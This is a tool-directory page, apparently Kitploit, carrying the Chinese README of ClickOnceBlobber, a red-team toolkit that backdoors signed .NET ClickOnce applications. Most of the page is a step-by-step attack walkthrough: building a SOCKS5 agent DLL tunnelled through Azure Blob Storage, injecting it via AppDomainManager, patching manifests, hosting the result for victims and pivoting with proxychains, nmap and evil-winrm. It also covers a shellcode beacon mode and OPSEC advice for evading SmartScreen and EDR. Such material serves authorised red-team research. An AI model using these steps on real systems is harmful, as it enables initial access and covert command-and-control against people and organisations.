Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ClickOnceBlobber — 将有签名的 .NET ClickOnce 应用程序武器化,用于初始访问,通过 AppDomainManager 注入劫持依赖 DLL 并加载 ProxyBlob Agent 的 C# 移植版本。 | Kitploit
工具/GitHubGitHub/dazzyddos/clickonceblobber
命令与控制社会工程学红队Payload 开发
GitHubdazzyddos/clickonceblobber

ClickOnceBlobber

将有签名的 .NET ClickOnce 应用程序武器化,用于初始访问,通过 AppDomainManager 注入劫持依赖 DLL 并加载 ProxyBlob Agent 的 C# 移植版本。

查看仓库
168226个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ClickOnce AppDomainManager 注入工具包

通过 AppDomainManager 注入劫持依赖 DLL 并加载 C# 移植的 ProxyBlob Agent,将已签名的 .NET ClickOnce 应用程序武器化,用于初始访问。附带 ProxyBlob 的 C# 移植版本——一种通过 Azure Blob Storage 隧道传输所有流量的 SOCKS5 代理,可融入 *.blob.core.windows.net 被列入白名单的环境中。

为什么有效

ClickOnce 是微软针对 .NET 应用程序的一键部署技术。当用户点击 .application URL 时,Windows 会下载并运行该应用程序,无需管理员权限。攻击流程:

  1. 获取一个合法的、已签名且具有现有声誉的 ClickOnce 应用程序
  2. 替换其一个依赖 DLL 为 ProxyBlob SOCKS5 代理
  3. 注入一个 .exe.config,告诉 CLR 将我们的 DLL 作为 AppDomainManager 加载
  4. 修补清单哈希以匹配我们的新文件
  5. 托管它——受害者点击链接,看到一个真实的应用程序,你获得一个 SOCKS5 隧道

宿主 .exe 保持原样且签名有效。SmartScreen 将其视为已知二进制文件。EDR 看到受信任的进程加载模块。你的代理仅通过 HTTPS 与 Azure Blob Storage 通信。

仓库结构

root@kitploit:~
├── clickonce_backdoor.py              # 将 ProxyBlob Agent DLL 后门注入 ClickOnce 应用的主脚本
├── examples/
│   ├── ProxyBlobAgent.cs              # ProxyBlob Agent ClickOnce DLL 载荷 (AppDomainManager)
│   ├── ProxyBlobStandalone.cs         # 独立的 Proxyblob 控制台代理(用于测试)
│   ├── ShellcodeLoader.cs             # 替代:shellcode 加载器载荷
│   └── MessageBoxPoC.cs               # PoC:消息框(验证注入是否生效)
└── README.md

前提条件

攻击机 (Linux/macOS):

  • Python 3.10+
  • ProxyBlob 代理 (Go 二进制)
  • Azure 存储帐户(或用于本地测试的 Azurite)

构建机器 (Windows):

  • .NET Framework csc.exe — 位于 C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe(自动检测)
  • NuGet CLI — 下载,将 nuget.exe 放在脚本旁边或加入 PATH(仅 --proxyblob 模式需要)

脚本会自动检测 csc.exe 和 nuget.exe。对于 --proxyblob,首次运行时 BouncyCastle 和 ILMerge 将通过 NuGet 自动安装到脚本旁边的 packages/ 目录中(跨运行持久化)。

架构支持

代理代码与架构无关(无 P/Invoke,无 shellcode)。--platform 标志(传递给 csc.exe /platform:)控制 CLR 如何加载它:

使用 corflags.exe TargetApp.exe 检查目标应用以确定其平台。


用法:端到端演练

步骤 1 — 设置 Azure 存储

root@kitploit:~
# 创建存储帐户
az storage account create \
    --name yourblobaccount \
    --resource-group yourgroup \
    --sku Premium_LRS \
    --kind BlockBlobStorage

# 获取密钥
az storage account keys list --account-name yourblobaccount --output table

或本地使用 Azurite:

root@kitploit:~
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite

步骤 2 — 启动 ProxyBlob 代理

root@kitploit:~
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make

cat > config.json << 'EOF'
{
    "storage_account_name": "yourblobaccount",
    "storage_account_key": "YOUR_KEY_HERE"
}
EOF

./proxy -c config.json

在代理 shell 中:

root@kitploit:~
proxyblob » create
[+] 已创建容器: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] 连接字符串: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

保存该连接字符串——它将被写入代理中。

步骤 3 — 先使用独立代理测试

在集成到 ClickOnce 之前,始终先验证代理能否独立工作。

在 Windows 构建机上:

root@kitploit:~
# 编译
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
    examples\ProxyBlobStandalone.cs ^
    /r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /r:System.Net.Http.dll /r:netstandard.dll

# ILMerge 为单个 exe(以便嵌入 BouncyCastle)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
    /out:Agent.exe ^
    ProxyBlobStandalone.exe ^
    packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /targetplatform:v4

# 运行
Agent.exe <connection-string>

回到代理端:

root@kitploit:~
proxyblob » list
  d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 代理正在 127.0.0.1:1080 上监听

测试:

root@kitploit:~
proxychains curl http://ipconfig.io

如果正常工作,则继续 ClickOnce 集成。

步骤 4 — 寻找目标 ClickOnce 应用

在侦察阶段寻找目标 ClickOnce 应用(搜索 .application URL)。你需要:

下载整个 ClickOnce 部署:

root@kitploit:~
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

步骤 5 — 一条命令构建并修补

脚本会自动编译 C# 源代码、处理 NuGet 依赖(针对 --proxyblob)、将 BouncyCastle ILMerge 到 DLL 中,并修补所有清单——全部在单次运行中完成:

root@kitploit:~
# ProxyBlob 模式 — 自动编译、自动安装 NuGet 包、自动合并
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --output ./output

# PoC 模式 — 快速验证注入是否生效
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --poc --output ./output

# Shellcode 模式
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --shellcode beacon.bin --output ./output

# x64 目标应用
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER/ \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --platform x64 --output ./output

脚本处理:生成嵌入了你设置的 C# 源代码,通过 csc.exe 编译,ILMerge BouncyCastle(针对 --proxyblob),替换 DLL,创建带有 AppDomainManager 注入的 .exe.config,将两个文件添加到清单,重新计算所有 SHA256 哈希和文件大小,剥离代码签名,清零厂商 publicKeyToken,并更新部署提供程序 URL。

手动覆盖: 你仍可使用 --payload 提供预编译的 DLL(跳过编译):

root@kitploit:~
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --payload payload.dll \
    --output ./output

⚠️ ILMerge 程序集名称陷阱: ILMerge 根据输出文件名设置内部程序集名称,而非输入文件。如果合并为 Foo_merged.dll,然后将文件重命名为 Foo.dll,内部名称仍然是 Foo_merged——CLR 读取元数据而非文件名。.exe.config 将不匹配,AppDomainManager 注入将静默失败,无任何错误。脚本通过直接 ILMerge 到最终名称正确处理了这一点。

步骤 6 — 托管和交付

root@kitploit:~
# 内置服务器,带有正确的 MIME 类型和缓存头
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

或使用任何配置了以下 MIME 类型的 Web 服务器:

root@kitploit:~
.application  → application/x-ms-application
.manifest     → application/x-ms-manifest
.deploy       → application/octet-stream

向受害者发送:http://YOUR-SERVER/APPLICATION.application

他们点击“安装”→ 应用运行 → 你的 SOCKS5 隧道打开。

步骤 7 — 使用隧道

root@kitploit:~
# 在代理机上
proxyblob » list
proxyblob » select <container-id>
proxyblob » start

# SOCKS5 位于 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local


故障排除

编译

运行时

ClickOnce 缓存

在测试部署之间清除:

root@kitploit:~
rundll32 dfshim CleanOnlineAppCache

诊断模式

调试时,先使用 ProxyBlobStandalone.cs——它会向 stderr 写入详细日志,显示数据包类型、连接事件和错误。确认工作正常后,切换到 ProxyBlobAgent.cs 进行 ClickOnce 集成。


C# 代理工作原理

该代理是 Go ProxyBlob agent 的忠实移植。移植过程中发现并修复了三个关键错误:

1. UUID 字节顺序 — Go 的 uuid.UUID 以 RFC 4122(大端)顺序存储 16 字节。 .NET 的 Guid 构造函数会将前 3 个分量交换为小端,导致网络上 ConnectionID 不匹配。通过使用原始 byte[16] 数组修复。

2. XChaCha20-Poly1305 — Go 使用 chacha20poly1305.NewX() = 带 24 字节 nonce 的 XChaCha20。BouncyCastle 的 ChaCha20Poly1305 仅支持 12 字节 IETF nonce。通过实现 HChaCha20 子密钥派生修复:

root@kitploit:~
subkey     = HChaCha20(key, nonce[0:16])     // 对 key+nonce 执行 ChaCha20 四轮运算
ietf_nonce = 0x00000000 || nonce[16:24]      // 剩余 8 字节成为 IETF nonce
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)

3. Base64 填充 — Go 使用 base64.RawStdEncoding(无 = 填充)。 .NET 要求填充。通过在解码前自动填充修复。

协议

root@kitploit:~
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)

密钥交换:
  Proxy  → Agent: CmdNew  [nonce:24][pubkey:32]
  Agent  → Proxy: CmdAck  [agentPubkey:32]
  对称密钥:  HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
  加密:     XChaCha20-Poly1305 作用于所有 CmdData 载荷

Blob 传输:
  info     — username@hostname XOR 0xDEADB10B
  request  — proxy→agent(代理轮询、读取、清除)
  response — agent→proxy(代理写入、代理读取、清除)
  轮询:   指数退避 50ms → 3s(×1.5)

OPSEC 注意事项

  • 流量仅通过 HTTPS 到达 *.blob.core.windows.net——与合法的 Azure 流量混合
  • 无 Azure SDK——使用 SAS 令牌认证的原始 HTTP REST API(更小的二进制文件,更少可供标记的导入项)
  • 通过 ILMerge 生成单个 DLL——不会在应用旁边释放额外文件
  • 宿主 .exe 保持有效签名——仅修改依赖 DLL 和 .config
  • 代理作为前台线程运行——在宿主应用退出后无需生成新进程即可存活
  • 在任务管理器中显示为合法应用名称(例如 APPLICATION)

致谢

  • Claude.ai
  • ProxyBlob — Quarkslab (Alexandre Nesic)
  • ClickOnce Research — SpecterOps (Nick Powers & Steven Flores)

免责声明

此工具仅用于授权的安全测试和研究。请仅在你拥有明确书面许可的系统上使用。

下载工具
--platform在 x86 Windows 上运行在 x64 Windows 上运行使用场景
x86 (默认)32位32位 (WoW64)目标应用为 x86
x64✗64位目标应用为 x64
anycpu32位64位独立测试,或目标为 AnyCPU
错误修复
csc.exe not found安装 .NET Framework 4.x 或将 csc.exe 加入 PATH
nuget.exe not found从 nuget.org 下载,放在脚本旁边或加入 PATH
CS0012: type 'Object' ... netstandard在 csc 命令中添加 /r:netstandard.dll
Metadata file ... net461 ... not found使用 netstandard2.0 版本的 BouncyCastle 路径
症状原因修复
FileNotFoundException: BouncyCastle.CryptographyDLL 未嵌入使用 ILMerge 创建单个 DLL
ClickOnce 运行后 AppDomainManager 未加载内部程序集名称不匹配程序集名称必须与 .exe.config 一致。使用 ildasm /text Dll.dll | findstr ".assembly" 检查
代理以退出码 3 退出连接字符串无效或已过期在代理中使用 create 重新生成
ClickOnce 安装静默失败清单哈希不匹配重新运行自动化脚本,或手动重新计算 SHA256 哈希
安装时出现 RefDefValidation 错误第三方 DLL 强名称令牌被清零脚本仅清零厂商令牌。必要时使用 --dll-name 设置载荷 DLL 名称